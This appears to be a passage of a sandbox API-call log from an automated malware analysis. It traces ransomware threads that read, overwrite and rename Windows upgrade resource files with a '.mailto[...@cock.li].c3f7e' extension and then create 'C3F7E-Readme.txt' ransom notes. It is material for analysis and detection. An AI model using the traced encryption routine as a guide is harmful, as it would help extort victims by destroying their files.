	[0087.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2b) returned 0x4765148
	[0087.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10f) returned 0x2e02570
	[0087.235] SetFilePointerEx (in: hFile=0x18e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.235] WriteFile (in: hFile=0x18e4, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x2973f7ac, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2973f7ac*=0x10f, lpOverlapped=0x0) returned 1
	[0087.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765148) returned 1
	[0087.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764a10) returned 1
	[0087.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0087.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774c0) returned 1
	[0087.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0087.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0087.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5d408
	[0087.240] wcscpy (in: _Dest=0x2d5d408, _Source="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm"
	[0087.240] wcscat (in: _Dest=0x2d5d408, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.240] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2973f764, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925f40
	[0087.240] NtSetInformationFile (FileHandle=0x18e4, IoStatusBlock=0x2973f75c, FileInformation=0x4925f40, Length=0xbe, FileInformationClass=0xa) returned 0x0
	[0087.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925f40) returned 1
	[0087.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0087.246] NtQueryInformationFile (in: FileHandle=0x18e4, IoStatusBlock=0x2973f770, FileInformation=0x2973f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2973f770, FileInformation=0x2973f748) returned 0x0
	[0087.246] NtSetInformationFile (FileHandle=0x18e4, IoStatusBlock=0x2973f770, FileInformation=0x2973f748, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d408) returned 1
	[0087.247] FlushFileBuffers (hFile=0x18e4) returned 1
	[0093.116] CloseHandle (hObject=0x18e4) 

Thread:
	id = 1186
	os_tid = 0x1efc

	[0086.288] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css")) returned 0x20
	[0086.290] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css", dwFileAttributes=0x20) returned 1
	[0086.290] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18e8
	[0086.290] GetFileSizeEx (in: hFile=0x18e8, lpFileSize=0x297bff0c | out: lpFileSize=0x297bff0c*=5224) returned 1
	[0086.290] SetFilePointerEx (in: hFile=0x18e8, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.290] ReadFile (in: hFile=0x18e8, lpBuffer=0x297bfe90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x297bfe8c, lpOverlapped=0x0 | out: lpBuffer=0x297bfe90*, lpNumberOfBytesRead=0x297bfe8c*=0x4, lpOverlapped=0x0) returned 1
	[0086.292] SetFilePointerEx (in: hFile=0x18e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0086.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.292] NtQuerySystemTime (in: CurrentTime=0x297bfe6c | out: CurrentTime=0x297bfe6c*=132251868130226108) returned 0x0
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x2526cfa7
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xc8cf9e90
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x1c2d6161
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x22786720
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x6910fcdf
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x58ba7701
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x14010f7
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x706b6fd7
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x91573cc5
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xf72653b9
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xa032097e
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xc80f8b29
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x7b294ea3
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xfb0b2fa3
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x3142ded9
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x783b1869
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x471c91b5
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xe6fbbb1c
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xfc085e19
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x8812ad40
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xe166dd1d
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x69c9102f
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xdd9fdb0f
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xd219812
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xd98beb
	[0086.292] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x6ccf35a3
	[0086.293] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x26b0b1e
	[0086.293] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0xd5cbeef9
	[0086.293] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x7598e655
	[0086.293] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x2655305c
	[0086.293] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x201395a8
	[0086.293] RtlRandom (in: Seed=0x297bfe78 | out: Seed=0x297bfe78) returned 0x385db301
	[0086.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0086.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0086.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0086.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0086.305] ReadFile (in: hFile=0x18e8, lpBuffer=0x504b048, nNumberOfBytesToRead=0x1468, lpNumberOfBytesRead=0x297bfe68, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesRead=0x297bfe68*=0x1468, lpOverlapped=0x0) returned 1
	[0086.306] SetFilePointerEx (in: hFile=0x18e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.306] WriteFile (in: hFile=0x18e8, lpBuffer=0x4f9afc8*, nNumberOfBytesToWrite=0x1468, lpNumberOfBytesWritten=0x297bfe64, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesWritten=0x297bfe64*=0x1468, lpOverlapped=0x0) returned 1
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0086.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0086.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2d) returned 0x4e60ec0
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2d) returned 0x4e60ef8
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0086.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0086.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x111) returned 0x4772520
	[0086.308] SetFilePointerEx (in: hFile=0x18e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.308] WriteFile (in: hFile=0x18e8, lpBuffer=0x4772520*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x297bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4772520*, lpNumberOfBytesWritten=0x297bfecc*=0x111, lpOverlapped=0x0) returned 1
	[0086.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772520) returned 1
	[0086.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e60ef8) returned 1
	[0086.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e60ec0) returned 1
	[0086.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0086.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0086.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0086.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481a198
	[0086.311] wcscpy (in: _Dest=0x481a198, _Source="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css"
	[0086.311] wcscat (in: _Dest=0x481a198, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.311] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x297bfe84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x49259c8
	[0086.311] NtSetInformationFile (FileHandle=0x18e8, IoStatusBlock=0x297bfe7c, FileInformation=0x49259c8, Length=0xc0, FileInformationClass=0xa) returned 0x0
	[0086.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49259c8) returned 1
	[0086.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d620) returned 1
	[0086.312] NtQueryInformationFile (in: FileHandle=0x18e8, IoStatusBlock=0x297bfe90, FileInformation=0x297bfe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x297bfe90, FileInformation=0x297bfe68) returned 0x0
	[0086.312] NtSetInformationFile (FileHandle=0x18e8, IoStatusBlock=0x297bfe90, FileInformation=0x297bfe68, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0086.312] FlushFileBuffers (hFile=0x18e8) returned 1
	[0093.098] CloseHandle (hObject=0x18e8) returned 1
	[0093.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ed1b0
	[0093.099] wcscpy (in: _Dest=0x47ed1b0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0093.099] wcscat (in: _Dest=0x47ed1b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt"
	[0093.099] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\c3f7e-readme.txt")) 

Thread:
	id = 1187
	os_tid = 0x1f00

	[0086.307] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm")) returned 0x20
	[0086.307] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm", dwFileAttributes=0x20) returned 1
	[0086.307] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18ec
	[0086.307] GetFileSizeEx (in: hFile=0x18ec, lpFileSize=0x2983fe8c | out: lpFileSize=0x2983fe8c*=65710) returned 1
	[0086.310] SetFilePointerEx (in: hFile=0x18ec, liDistanceToMove=0x100aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.311] ReadFile (in: hFile=0x18ec, lpBuffer=0x2983fe10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2983fe0c, lpOverlapped=0x0 | out: lpBuffer=0x2983fe10*, lpNumberOfBytesRead=0x2983fe0c*=0x4, lpOverlapped=0x0) returned 1
	[0086.314] SetFilePointerEx (in: hFile=0x18ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0086.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0086.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0086.314] NtQuerySystemTime (in: CurrentTime=0x2983fdec | out: CurrentTime=0x2983fdec*=132251868130537928) returned 0x0
	[0086.314] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xe98fa806
	[0086.314] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x2bc005da
	[0086.314] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xa409acbc
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x36f13524
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xedd7cd
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xe16f4835
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xfb3d8811
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xc0d66452
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xe7798662
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xc62b64a5
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xee4940c0
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x836423ae
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x903c41cc
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xd2037812
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x961522bf
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x7f684849
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xe34ffa82
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x50ea14fd
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x599b19e1
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xefee7c60
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xd68c6123
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x4491cacd
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x27d32ce7
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xee86ba4a
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x5ed577f3
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xd4509969
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xa757a64b
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x10d6699f
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x8611267f
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x8bb73b03
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0x4055e9f6
	[0086.315] RtlRandom (in: Seed=0x2983fdf8 | out: Seed=0x2983fdf8) returned 0xeb4efdc8
	[0086.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0086.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0086.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0086.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0086.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0086.324] SetFilePointerEx (in: hFile=0x18ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.324] ReadFile (in: hFile=0x18ec, lpBuffer=0x504b048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2983fdcc, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesRead=0x2983fdcc*=0xc800, lpOverlapped=0x0) returned 1
	[0086.325] SetFilePointerEx (in: hFile=0x18ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0086.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0086.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0086.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0086.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0086.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0086.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.327] WriteFile (in: hFile=0x18ec, lpBuffer=0x4f9afc8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2983fdcc, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesWritten=0x2983fdcc*=0xc800, lpOverlapped=0x0) returned 1
	[0086.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0086.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0086.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2d) returned 0x4e60ef8
	[0086.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0086.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0086.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2d) returned 0x4e611d0
	[0086.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0086.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0086.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0086.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x111) returned 0x4772520
